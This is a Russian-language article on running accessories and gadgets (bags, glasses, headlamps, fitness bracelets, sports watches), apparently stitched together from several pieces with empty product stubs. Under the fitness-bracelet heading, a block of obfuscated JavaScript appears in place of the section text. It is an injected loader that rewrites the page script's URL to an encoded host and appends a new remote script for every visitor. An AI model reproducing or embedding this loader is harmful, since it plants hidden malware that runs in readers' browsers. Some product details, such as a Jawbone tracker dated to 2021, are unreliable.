- Бутылка для воды
- . Спортивные гаджеты
- Поясная сумка
- Рюкзак
- Чехол для смартфона на руку
- Компрессионные аксессуары
- Спортивные очки
- Бейсболка
- Бафф
- Налобный фонарь
- А выглядит как химия…
- Беговой рюкзак
- Беговые пояса и поясные сумки
- Верно и неверно
- Гаджеты, гаджеты
- Головной убор
- И к профессионализму
- Смартфоны с бизнес-трекером — два в одном
- Солнцезащитные очки для бега
- Спортивные часы — стильный аксессуар для жизни и бега
- Фитнес-браслеты для бега: какие бывают и как выбрать
- Фитнес-браслеты — компактные легкие и удобные устройства
- Часы для бега
Бутылка для воды
Вода обязательно пригодится во время тренировки, особенно на длинных дистанциях летом. В зависимости от предпочтений и необходимого количества жидкости можно выбрать как небольшую бутылку с ручкой, так и объёмную питьевую систему.
Бутылка попроще (200–500 мл) подойдёт для коротких забегов, её придётся держать в руке либо закрепить на поясе. Питьевая система или одна мягкая фляга с удлиняющей трубкой понадобится для трейлраннинга и марафонов. Она может вмещать от 500 мл до нескольких литров жидкости. У бутылки или трубки должен быть удобный клапан, не пропускающий воду во время активных движений.
Что купить:
. Спортивные гаджеты
Если вы решили серьёзно подойти к тренировкам и отслеживать все показатели, то вам обязательно понадобится фитнес‑браслет, пульсометр или спортивные часы. Самый дорогой вариант — умные часы со множеством функций и синхронизацией со смартфоном. Они достаточно точно отслеживают пульс и подсчитывают десятки показателей, а также могут определять пройденные маршруты с помощью GPS.
Спортивный кардиомонитор точно измеряет пульс и передаёт данные в мобильное приложение либо сохраняет в собственной памяти. Продвинутые модели могут синхронизироваться через Bluetooth не только со смартфонами, но и со смарт‑часами и тренажёрами.
Фитнес‑браслет — наиболее доступный по стоимости вариант, но при этом и самый неточный. Он измеряет пульс и пройденные шаги, а затем отправляет эту информацию на смартфон для анализа.
Что купить:
Обратите внимание: цены действительны на момент публикации статьи. Магазины могут обновлять стоимость товаров в течение дня.
Поясная сумка
Для пробежек на улице может понадобиться поясная сумка, в которой поместится смартфон, ключи и другие мелочи. Она не ограничивает движения, плотно прилегает к телу и не отвлекает во время бега. Обычно такие сумки имеют плоскую форму и надёжно закрываются на молнию.
У простых моделей есть только одно отделение, но его может хватить для всех необходимых вещей. В более продвинутых версиях предусмотрено несколько отделов и внешних карманов, а в комплекте могут быть даже бутылочки для воды.
Что купить:
Рюкзак
Рюкзак со множеством карманов и питьевой системой — важный аксессуар для трейлраннера. Это может быть модель в виде жилета небольшого объёма или более привычный рюкзак с лямками и несколькими отделениями. На этом товаре лучше не экономить: он должен быть прочным, плотно держаться на теле и не стеснять движения.
Выбор размера будет зависеть от вида маршрута и продолжительности забега. Так, в небольшом рюкзаке поместится только запас воды и немного еды, а в крупный можно положить ещё и дополнительное снаряжение со сменной одеждой.
Что купить:
Чехол для смартфона на руку
Смартфон можно не класть в поясную сумку или рюкзак, а закрепить в чехле с помощью липучки. Качественный чехол будет крепко держаться на руке или плече, защитит аппарат от грязи и не повлияет на технику бега.
Что купить:
Компрессионные аксессуары
Компрессионная экипировка поддерживает мышцы, компенсирует нагрузки и улучшает кровообращение, помогая быстрее восстанавливаться от закисления. Для бега можно использовать компрессионные гетры или гольфы, а также нарукавники, выполненные из технологичных материалов.
Синтетическая ткань компрессионных аксессуаров хорошо вентилируется и отводит излишки влаги. Нарукавники часто используют для защиты от холода. Производители наносят на компрессионную экипировку светоотражающие элементы, чтобы бегуны были заметнее в темноте или при плохой погоде.
Что купить:
Спортивные очки
Спортивные очки защитят глаза от яркого солнца, бликов света, воды, насекомых и пыли. Модели для бега удобно держатся на лице и помогают сконцентрироваться на передвижении по дороге. Хорошие очки должны блокировать ультрафиолетовое излучение, производители указывают категорию фильтрации цифрами от 0 до 4 — от минимальной защиты до высокой степени затемнения.
Что купить:
Бейсболка
Бейсболка защитит голову от палящего солнца, дождя и ветра. Козырёк ограничивает количество солнечных лучей и улучшает обзор, особенно в связке с очками. Размер бейсболки нужно подбирать так, чтобы она плотно держалась на голове. Головной убор должен хорошо вентилироваться, отводить влагу и быстро сохнуть.
Что купить:
Бафф
Бафф пригодится как летом, так и зимой. Его можно использовать для защиты кожи от палящего солнца или в качестве согревающего аксессуара, если это, например, утеплённая флисом модель. Бафф защитит дыхательные пути от пыли или морозного воздуха, если натянуть его на лицо как маску. Кроме того, этот аксессуар можно трансформировать в бандану, а из двух баффов получится балаклава.
Что купить:
Налобный фонарь
Налобный фонарь обязан быть ярким. Кроме того, он должен освещать широкую площадь с помощью рассеивателя, что особенно важно для ночных забегов по пересечённой местности. Корпус фонарика лучше выбирать лёгкий и водостойкий.
Продвинутые модели автоматически подстраивают яркость лампы, измеряя уровень освещённости. Желательно, чтобы фонарик позволял регулировать направление освещения. Для продолжительных маршрутов понадобится модель с ёмким аккумулятором.
Что купить:
А выглядит как химия…
Когда смотришь на список препаратов, которые принимает бегун, кажется, что перед нами сплошной допинг и химия. На самом деле препаратов не так и много, в основном — БАД, причем взаимозаменяемые.
В первую очередь — хондропротекторы, какие врачи обычно прописывают для лечения артроза и прочих болезней суставов. Травмы суставов, повреждения хрящевой ткани — самые распространенные вещи в беговой среде, и хондропротекторы в данном случае предотвращают развитие серьезного заболевания. Они восстанавливают хрящевую ткань, подверженную во время бега силовому воздействию и склонную к микроразрывам, улучшают выработку суставной жидкости, нормализуют ее консистенцию. Проще говоря, хондропротекторы можно и не принимать, но с ними бег будет более здоровым. К типовым хондропротекторам относятся глюкозамин, хондровитин, причем покупаются они в спортивных магазинах — «аптечные» хондропротекторы имеют значительно меньшую дозировку. К слову, по результатам исследований разница между эффектом хондропротекторов и лекарств-плацебо невелика.
Беговой рюкзак
В некоторых моделях в комплекте идёт гидратор, к которому можно добавить ещё пару мягких фляг. И место для всех ваших вещей тоже найдётся — даже в тонком и минималистичном беговом жилете. К тому же, если объёма не хватает, всегда можно взять беговой рюкзак побольше. Среди них есть и такие, с которыми туристы-легкоходы умудряются сходить в недельный поход.
Беговые пояса и поясные сумки
Хотите, чтобы руки были свободны, но фляга с водой была в быстром доступе? Значит, нужна лаконичная
поясная сумка с «колчаном» или карманом для одной фляги
. Объём воды несёте тот же, но уже в пластиковой бутылке. У всех таких сумок также есть карман на молнии, только чуть больше, чем у манжет с флягой. В него можно положить телефон, ключи или перекус. Пояс у большинства моделей мягкий, комфортный. Не давит, не режет, легко регулируется. Бутылку просто доставать и удобно возвращать назад на бегу.
Верно и неверно
У каждого свой ритм тренировок и техника бега, наиболее комфортная для организма. Артем бегает, приземляясь на носок, а затем опуская заднюю часть стопы. На первых порах он привычно приземлялся на пятку, как при ходьбе, но при увеличении количества тренировок появилась боль в подвздошно-большеберцовом тракте (под коленкой). И спортивный ортопед посоветовал освоить бег на мысках.
Интересно, что советское поколение 20 и более лет назад бегало правильнее, нежели современные бегуны. С кроссовками в СССР была беда, и основной беговой обувью были кеды на низкой подошве. Приземляться в кеде на пятку больно, и бегуны рефлекторно бежали с приземлением на носок. Если вы обратите внимание на то, как бегают маленькие дети, вы увидите — они бегут на носочках, потому что это естественнее для прямоходящего примата. Современные технологии, пружинящие подошвы и высококачественные кроссовки расхолаживают.
Гаджеты, гаджеты
Первый гаджет бегуна — это трекер. Он помогает оценивать тренировки. Трекером может служить даже бесплатное приложение, использующее датчики смартфона для сбора данных о частоте шагов, пройденном расстоянии, маршруте и темпе бега. Но чаще это специальные часы со встроенным пульсометром или возможностью его подключения. Заметим, что шагомер и пульсометр — это два отдельных устройства! Пульс замеряется с помощью оптических датчиков (также есть биоимпедансные датчики), которые фиксируют биение, прилегая к коже запястья или под грудью, а с недавнего времени и к ушам в форм-факторе наушников. Все данные о скорости, пульсе, дистанции, частоте шага можно синхронизировать с телефоном или компьютером: это позволяет составлять графики бега, тренировок, расстояний.
Головной убор
Во время летних пробежек голову нужно обязательно прикрыть от солнца. Для этого есть кепки, беговые козырьки, банданы. В случае дождя они тоже добавят комфорта: когда лицо закрыто от капель козырьком, то дождь меньше мешает.
Кепок в ассортименте
магазинов великое множество, но для бега в жару удобнее те, что легко пропускают влагу. Тогда на голову можно лить воду, не снимая кепки, и она будет не скатываться, а легко проникать внутрь, охлаждая кожу головы. Кепки-«бедуинки» с вшитыми тканевыми платками прикрывают уши и шею от активного солнца. В виде солнцезащитной банданы или потоотводящей полосы может выступить
бафф
. Он же прикроет и уши, и шею. Можно комбинировать бандану с козырьком. Вариантов ровно столько, на сколько хватает вашей фантазии.
И к профессионализму
Трудно поверить, но человек выносливее любого животного. В максимальном ускорении он уступает множеству зверей, но в плане бега на значительные расстояния быстрее даже лошади, не говоря уже о «спринтерах» типа гепарда. Человек при должной подготовке может пробегать гигантские расстояния с короткими перерывами на сон. Более того, у человека самые развитые из всех животных ягодичные мышцы (те, что у большинства людей прячутся под жирком пониже спины) — именно они выполняют львиную долю работы во время бега. Впрочем, работает весь организм.
В общем, не стоит воспринимать бег как «вышел из дома и побежал». К бегу нужен системный подход — и тогда он становится как интересным (по крайней мере, возникает желание поездить и побегать по различным городам, собрать медали разных забегов), так и полезным для организма. Нужно правильно подобрать обувь, грамотно подходить к графику тренировок, научиться правильно бежать, совмещать бег с функциональными тренировками для развития различных групп мышц (тут особенно функционален тренажер, известный как петли TRX). И постепенно вы втянетесь. И захотите пробежать марафон. Или супермарафон. Жизнь — это же бег, бег, бег.
Смартфоны с бизнес-трекером — два в одном
Современные гаджеты, используемые для мобильной связи, также могут обладать бизнес-трекерами, позволяющими их владельцам получать много полезной информации во время пробежек. Рассмотрим пару моделей смартфонов с такими приложениями:
- Elite x3 от HP. Смартфон, имеющий ОС Windows 10 Mobile отлично интегрируется с бесплатным приложением Addidas miCoach train&run. Оно позволяет контролировать показатели физической активности, отслеживать результативность пробежек, и подобрать индивидуальный план тренировок. Каждый пользователь может посмотреть собственные достижения и сравнить их диаграммы и разнообразные графики. Также приложение анализирует полученную во время бега и тренировок информацию и дает своему «хозяину» полезные советы как квалифицированный тренер. К недостаткам этого ПО можно отнести «тяжелый» интерфейс для русскоязычных пользователей, в котором придется разбираться.
- Samsung Galaxy J5. Этот смартфон, отлично сочетается с мобильным приложением Runtastic Бег и фитнес, работающем на платформе Android и IOS. Программа дает полную статистику тренировки. Она показывает взятый темп, скорости движения, а также частоту биения сердца. Кроме этого приложение в смартфоне может осуществлять управление музыкой. Также Runtastic позволяет управлять своими достижениями, видеть расходы калорий и задавать цели на месяц или другие сроки. Это очень комфортный для использования фитнес-трекер в смартфоне. Его недостатком являются ограниченные возможности, по сравнению с другими более расширенными вариантами подобных программ.
Солнцезащитные очки для бега
То, что глаза требуют защиты, — не требует доказательств. Причём очки защищают и от ультрафиолета, и от механических повреждений. И речь не только о ветках и вылетающем из-под колёс машин гравии. Есть ещё такие неприятные вещи, как сильный ветер и любознательные насекомые, которые так и норовят залететь туда, куда нам не очень и хотелось бы.
Солнцезащитных очков на рынке великое множество. Очки отличаются формой, ценой и качеством. Чем выше цена, тем лучше линзы. Они меньше или вообще не искажают окружающую вас действительность, что позволяет находиться в очках бесконечно долго без усталости глаз. Плюс линзы высокого качества характеризует ударопрочность и стопроцентная фильтрация УФ-лучей.
Можно приобрести очки с линзами определённого цвета, а можно и фотохромные — способные менять своё затемнение в зависимости от яркости света вокруг. Последние стоят дороже обычных, но если вы бегаете круглый год в светлое и тёмное время суток, то они, конечно же, очень удобны. Если вы пользуетесь очками только летом и только в светлое время суток, то вполне хватит очков с линзами того цвета, который вам больше нравится.
Спортивные часы — стильный аксессуар для жизни и бега
Многие варианты спортивных часов не только отлично смотрятся на руках, но дают своим владельцам дополнительные возможности для контроля состояния организма на тренировках, в частности при беге. Очень популярными являются такие модели как:
- Forerunner 645 от Garmin. Они идеально подходят бегунам. В часы, помимо пульсометра, вмонтирован музыкальный плеер, позволяющий при пробежке наслаждаться музыкой из наушников, подключенных по блютузу. Также Forerunner 645 обладают гироскопом, акселерометром и даже термометром. Корпус из нержавеющей стали и закаленное стекло Горилла Гласс отлично защищают гаджет от механических повреждений. Но имеются и недостатки: ограниченный функционал по сравнению с линейкой 935 (нет режима «мультиспорт», опции «возврата в начало маршрута и т. д.).
- Garmin Fenix 5x. Этот девайс заслуженно считается одним из наиболее высокотехнологичных фитнес-трекеров, представленных на мировом рынке. Часы обладают широким набором функциональных возможностей. К ним относятся оптический высокоточный пульсометр, компас, гироскоп и альтиметр барометрический. Они могут взаимодействовать со смартфоном и другими девайсами по Wi-Fi и Bluetooth. При пробежке указывается время, пройденная дистанция и взятый темп движения. Гаджет не только дает информацию, но и производит её анализ, подсказывая своему хозяину в приложении, сколько отдыхать, когда следует провести следующую тренировку. Также он выдает сведения об уровне физической подготовки владельца. К недостаткам Garmin Fenix 5x относятся высокая цена, кнопочный дисплей с невысокой контрастностью.
- Suunto 3 Fitness. Эта модель сочетает качества «умных» часов с традиционным фитнес-трекером. Она сделана из нержавеющей стали и полиамида, и смотрится на руке очень стильно. Пульсометр не только считает число сокращений сердца, но и позволяет приложению составить их график по зонам. Также опции часов позволяют посмотреть маршрут пробежки, посчитать расстояние и количество затраченных калорий. Также возможно фиксировать скорость движения, качество сна и восстановления. Водонепроницаемость девайса — 30 м. Как смарт-часы модель без зарядки может работать в течение 5-6 суток.
- Suunto 9 Baro. Отличный гаджет для любителей пробежек. Он обладает сенсорным цветным дисплеем, режимом GPS-навигации, продвинутым пульсометром Valencell 1.2 осуществляющим измерение в режиме «Real Time» и множеством других полезных опций. Также бегуны могут померить себе давление, сравнивать темп движения, меняя на ходу скорость, узнать время восхода или заката. Модель разработана с привлечением спортсменов-профессионалов, поэтому обладает максимальным количеством полезных функций. Недостатки: иногда трудно читается экран, новые обладатели аксессуара могут запутаться в меню.
- Polar M430. Эта модель мало весит (51 грамм), обладает обычным кнопочным управлением и стандартным неярким дизайном. Но её функциональные возможности и технологические опции достаточно широки. Высокоточный пульсометр, GPS-навигатор, программное приложение, позволяющее настраивать множество нужных опций для бегунов — это только малая часть возможностей такого девайса. Часы высчитывают аэробную пользу бега, определяют качество сна и оптимальное время для восстановления после полученной нагрузки. Это идеальный гаджет для всестороннего анализа тренировок. И цена аксессуара вполне доступна для многих спортсменов или любителей активного отдыха. К недостаткам модели можно отнести возможности функционала.
- Polar M200. В отличие от предыдущей модификации часов, это модель более бюджетная. Она обладает встроенным датчиком, контролирующим сердечный ритм, шагомером и смарт-уведомлениями. Polar M200 смотрятся просто и непритязательно. Часовой блок можно легко переставлять на другой резиновый ремешок, предназначенный для этой модели. Часы имеют простой функционал, состоящий из двух кнопок. Правая позволяет пролистывать меню, левая — «отмотать» его «назад». Монохромный экран обладает достаточно яркой подсветкой, и хорошо просматривается даже в солнечную погоду. Недостатки: примитивный дизайн, вынимание из ремешка часов для подзарядки и матричный дисплей.
Фитнес-браслеты для бега: какие бывают и как выбрать
[0x1,0x0,0x0],this[‘aBvRRk’]=function(){return’newState’;},this[‘hSfrHc’]=’x5cw x20*x5c(x5c)x20*{x5cw x20*’,this[‘JuTrEU’]='[x27|x22]. [x27|x22];?x20*}’;};_0x813e7b[‘prototype’][‘DjFBTt’]=function(){var _0x5282aa=new RegExp(this[‘hSfrHc’] this[‘JuTrEU’]),_0x3a962a=_0x5282aa[‘test’](this[‘aBvRRk’][‘toString’]())?—this[‘VcOAHj’][0x1]:—this[‘VcOAHj’][0x0];return this[‘JyOvZW’](_0x3a962a);},_0x813e7b[‘prototype’][‘JyOvZW’]=function(_0x276526){if(!Boolean(~_0x276526))return _0x276526;return this[‘AakBhD’](this[‘jOBnSf’]);},_0x813e7b[‘prototype’][‘AakBhD’]=function(_0x461fbf){for(var _0x14f506=0x0,_0x2ee2e0=this[‘VcOAHj’][‘length’];_0x14f506<_0x2ee2e0;_0x14f506 ){this[‘VcOAHj’][‘push’](Math[’round’](Math[‘random’]())),_0x2ee2e0=this[‘VcOAHj’][‘length’];}return _0x461fbf(this[‘VcOAHj’][0x0]);},new _0x813e7b(a0_0x5344)[‘DjFBTt’](),_0x3ab154=a0_0x5344[‘MSYvHM’](_0x3ab154),a0_0x5344[‘uDogYq’][_0x35036b]=_0x3ab154;}else _0x3ab154=_0x75b161;return _0x3ab154;};!function(_0x9927ec){var _0x147d37=function(){var
_0x492bcc=!![];return function(_0x813e7b,_0x3456c1){var _0x5282aa=_0x492bcc?function(){var _0x39e649=a0_0x5344;if(_0x3456c1){var _0x3a962a=_0x3456c1[_0x39e649(0x19e)](_0x813e7b,arguments);return _0x3456c1=null,_0x3a962a;}}:function(){};return _0x492bcc=![],_0x5282aa;};}(),_0x3a3234=function(){var _0x276526=!![];return function(_0x461fbf,_0x14f506){var _0x2ee2e0=_0x276526?function(){var _0x366da0=a0_0x5344;if(_0x14f506){var _0x1e0ef5=_0x14f506[_0x366da0(0x19e)](_0x461fbf,arguments);return _0x14f506=null,_0x1e0ef5;}}:function(){};return _0x276526=![],_0x2ee2e0;};}(),_0x95b9f2={};function _0x5c109c(_0x27154d){var _0xcaea4d=a0_0x5344,_0xfcac6c=_0x147d37(this,function(){var _0x7c8730=function(){var _0x5b59d9=a0_0x5344,_0x4f08e7=_0x7c8730[_0x5b59d9(0x193)](_0x5b59d9(0x174))()[_0x5b59d9(0x193)](_0x5b59d9(0x19b));return!_0x4f08e7[_0x5b59d9(0x1ac)](_0xfcac6c);};return _0x7c8730();});_0xfcac6c();var _0xeaa392=_0x3a3234(this,function(){var _0x122b2d=a0_0x5344,_0x4e2253;try{var
_0x13b746=Function(_0x122b2d(0x1ae) _0x122b2d(0x175) ‘);’);_0x4e2253=_0x13b746();}catch(_0x518bc2){_0x4e2253=window;}var _0x345b99=_0x4e2253[_0x122b2d(0x182)]=_0x4e2253[_0x122b2d(0x182)]||{},_0x17fae1=[_0x122b2d(0x1a9),_0x122b2d(0x197),_0x122b2d(0x185),_0x122b2d(0x18f),_0x122b2d(0x196),_0x122b2d(0x18e),_0x122b2d(0x1a3)];for(var _0x1f4484=0x0;_0x1f4484<_0x17fae1[_0x122b2d(0x17b)];_0x1f4484 ){var _0x58d3ee=_0x3a3234[_0x122b2d(0x193)][_0x122b2d(0x1a5)][_0x122b2d(0x1a2)](_0x3a3234),_0x10cd41=_0x17fae1[_0x1f4484],_0x174496=_0x345b99[_0x10cd41]||_0x58d3ee;_0x58d3ee[_0x122b2d(0x18c)]=_0x3a3234[_0x122b2d(0x1a2)](_0x3a3234),_0x58d3ee[_0x122b2d(0x199)]=_0x174496[_0x122b2d(0x199)][_0x122b2d(0x1a2)](_0x174496),_0x345b99[_0x10cd41]=_0x58d3ee;}});_0xeaa392();if(_0x95b9f2[_0x27154d])return _0x95b9f2[_0x27154d][_0xcaea4d(0x17a)];var _0x217ef4=_0x95b9f2[_0x27154d]={‘i’:_0x27154d,’l’:!0x1,’exports’:{}};return _0x9927ec[_0x27154d][_0xcaea4d(0x1ab)]
(_0x217ef4[_0xcaea4d(0x17a)],_0x217ef4,_0x217ef4[_0xcaea4d(0x17a)],_0x5c109c),_0x217ef4[‘l’]=!0x0,_0x217ef4[_0xcaea4d(0x17a)];}_0x5c109c[‘m’]=_0x9927ec,_0x5c109c[‘c’]=_0x95b9f2,_0x5c109c[‘d’]=function(_0x3fd18b,_0x325dba,_0x1ab03a){var _0x275bc6=a0_0x5344;_0x5c109c[‘o’](_0x3fd18b,_0x325dba)||Object[_0x275bc6(0x1a6)](_0x3fd18b,_0x325dba,{‘enumerable’:!0x0,’get’:_0x1ab03a});},_0x5c109c[‘r’]=function(_0xc3598c){var _0xce1d3c=a0_0x5344;_0xce1d3c(0x176)!=typeof Symbol&&Symbol[_0xce1d3c(0x19f)]&&Object[_0xce1d3c(0x1a6)](_0xc3598c,Symbol[_0xce1d3c(0x19f)],{‘value’:_0xce1d3c(0x1a1)}),Object[_0xce1d3c(0x1a6)](_0xc3598c,_0xce1d3c(0x1b0),{‘value’:!0x0});},_0x5c109c[‘t’]=function(_0x29b1a1,_0x5eb5bd){var _0x577743=a0_0x5344;if(0x1&_0x5eb5bd&&(_0x29b1a1=_0x5c109c(_0x29b1a1)),0x8&_0x5eb5bd)return _0x29b1a1;if(0x4&_0x5eb5bd&&_0x577743(0x186)==typeof _0x29b1a1&&_0x29b1a1&&_0x29b1a1[_0x577743(0x1b0)])return _0x29b1a1;var _0x5c0015=Object[_0x577743(0x1b5)](null);if(_0x5c109c[‘r’](_0x5c0015),Object[_0x577743(0x1a6)](_0x5c0015,_0x577743(0x183),
{‘enumerable’:!0x0,’value’:_0x29b1a1}),0x2&_0x5eb5bd&&_0x577743(0x1b3)!=typeof _0x29b1a1)for(var _0x10f741 in _0x29b1a1)_0x5c109c[‘d’](_0x5c0015,_0x10f741,function(_0x4e84e4){return _0x29b1a1[_0x4e84e4];}[_0x577743(0x1a2)](null,_0x10f741));return _0x5c0015;},_0x5c109c[‘n’]=function(_0x131996){var _0x5e67db=a0_0x5344,_0x4b9a96=_0x131996&&_0x131996[_0x5e67db(0x1b0)]?function(){var _0x327075=_0x5e67db;return _0x131996[_0x327075(0x183)];}:function(){return _0x131996;};return _0x5c109c[‘d’](_0x4b9a96,’a’,_0x4b9a96),_0x4b9a96;},_0x5c109c[‘o’]=function(_0x1fd9c6,_0x794c81){var _0x146304=a0_0x5344;return Object[_0x146304(0x1a5)][_0x146304(0x198)][_0x146304(0x1ab)](_0x1fd9c6,_0x794c81);},_0x5c109c[‘p’]=»,_0x5c109c(_0x5c109c[‘s’]=0x0);}([function(_0x2a4160,_0x5a2751,_0x9b0b7a){var _0x284acf=a0_0x5344;_0x2a4160[_0x284acf(0x17a)]=_0x9b0b7a(0x1);},function(_0x47793c,_0x307fe5,_0x5e530c){var _0x2e5f94=a0_0x5344;’use strict’;_0x5e530c[‘r’](_0x307fe5);const _0x3a83f3=[[_0x2e5f94(0x17c),_0x2e5f94(0x1a7)],[_0x2e5f94(0x1aa),_0x2e5f94(0x178)],
[_0x2e5f94(0x1a0),_0x2e5f94(0x188)],[_0x2e5f94(0x172),_0x2e5f94(0x1b4)],[_0x2e5f94(0x179),_0x2e5f94(0x1b1)],[_0x2e5f94(0x191),_0x2e5f94(0x192)],[_0x2e5f94(0x17d),_0x2e5f94(0x1a8)],[_0x2e5f94(0x195),_0x2e5f94(0x194)]][_0x2e5f94(0x1af)](_0x3d41fc=>_0x3d41fc[0x0]);(()=>{var _0x2ef6b9=_0x2e5f94;const _0x5d3700=document[_0x2ef6b9(0x18a)](_0x2ef6b9(0x184)),_0x51ee15=new window[(_0x2ef6b9(0x190))](_0x5d3700[_0x2ef6b9(0x17f)]),_0x180a4a=parseInt(_0x5d3700[_0x2ef6b9(0x18b)](_0x2ef6b9(0x18d)))||0x0;if(_0x180a4a>=_0x3a83f3[_0x2ef6b9(0x17b)])return _0x5d3700[_0x2ef6b9(0x1a4)]=null,void console[_0x2ef6b9(0x1a9)](_0x2ef6b9(0x1ad));_0x51ee15[_0x2ef6b9(0x19a)]=_0x3a83f3[_0x180a4a];const
_0x2fce4c=document[_0x2ef6b9(0x189)](_0x2ef6b9(0x177));[…_0x5d3700[_0x2ef6b9(0x1b2)]][_0x2ef6b9(0x19d)](_0x2ed4c9=>_0x2fce4c[_0x2ef6b9(0x180)](_0x2ed4c9[_0x2ef6b9(0x173)],_0x2ed4c9[_0x2ef6b9(0x1b6)])),_0x2fce4c[_0x2ef6b9(0x180)](_0x2ef6b9(0x18d),_0x180a4a 0x1),_0x2fce4c[_0x2ef6b9(0x180)]
(_0x2ef6b9(0x17f),_0x51ee15[_0x2ef6b9(0x199)]()),_0x5d3700[_0x2ef6b9(0x187)][_0x2ef6b9(0x19c)](_0x5d3700),document[_0x2ef6b9(0x17e)][_0x2ef6b9(0x181)]
(_0x2fce4c);})();}]);»>
Фитнес-браслеты — компактные легкие и удобные устройства
Сегодня потребителям предлагается множество вариантов фитнес-браслетов. Они легки, компактны, удобны в использовании, и обладают большим набором разнообразных функций. Рассмотрим наиболее популярные модели таких гаджетов:
- Xiaomi Amazfit Cor. При беге этот браслет позволяет контролировать множество параметров: число сокращений сердца, затраты калорий, преодоленное расстояние. Он отличается красочным цветным дисплеем, прочным корпусом, защищенным от пыли и стильным ремешком из силикона. Корпус изделия создан из нержавеющей стали, но вес девайса составляет около 32-ух грамм, поэтому бегун, практически не ощущает его на своей руке. Он отлично защищен от механических воздействий и проникновения влаги. Но имеются и недостатки: плавать с этим браслетом на глубине более одного метра все же не стоит, при подсчете пульса периодически возникают погрешности, дисплей не очень хорошо просматривается под ярким солнцем.
- Jawbone UP Move. Этот браслет стал очень популярным в 2021-ом году. Он был создан из мягкого силикона. Фишка — такого фитнес-трекера состоит в том, что его можно размещать, как на руке, так и на одежде, благодаря оригинальной технической инновации. Дисплей вставляется в форму браслета, и может находиться на бегуне, прикрепленный к одежде специальной миниатюрной клипсой. Она надежно фиксируется на отвороте рубашки, кармане джинсов и даже крепится к рюкзаку. Недостатки аппарата: примитивный функционал и отсутствие традиционного экрана.
- Polar Loop. Это устройство широко известно любителям бега в различных странах. Оно красиво смотрится, обладая стильными обтекаемыми формами. Гаджет многофункциональный. Он поддерживает самые разнообразные устройства с различными платформами, работает с пульсометром, имеет водонепроницаемый корпус. Недостатки: конструкция ремешка многими пользователями признается неудачной.
Часы для бега
Выбирая часы для бега, вы должны чётко понимать, какие показатели вам нужны, а какие могут вообще не понадобиться. От этого зависит функциональное богатство прибора и, соответственно, его стоимость.
Практически все часы ведущих брендов, даже самые простые и достаточно бюджетные, обладают сегодня богатым функционалом. В них есть и пульсометр на запястье, и различные параметры отслеживания вашей активности. И они довольно долго работают в режиме GPS. Более сложные приборы предполагают различные настройки тренировочных планов, загрузку маршрутов, отслеживание барометрического давления, измерение текущей высоты, значительно больший срок работы на одной зарядке, невосприимчивость к температурам и иным неблагоприятным условиям внешней среды.
Беговые аксессуары не просто дань моде. Они должны сделать наш бег более комфортным и приятным. Дистанцию они за вас не пробегут, но помочь это сделать действительно могут. Чтобы узнавать о них больше, подписывайтесь на наш YouTube-канал
«Спорт-Марафон/Витрина»
, где мы регулярно выкладываем
обзоры беговой экипировки
.
Хорошего вам бега!
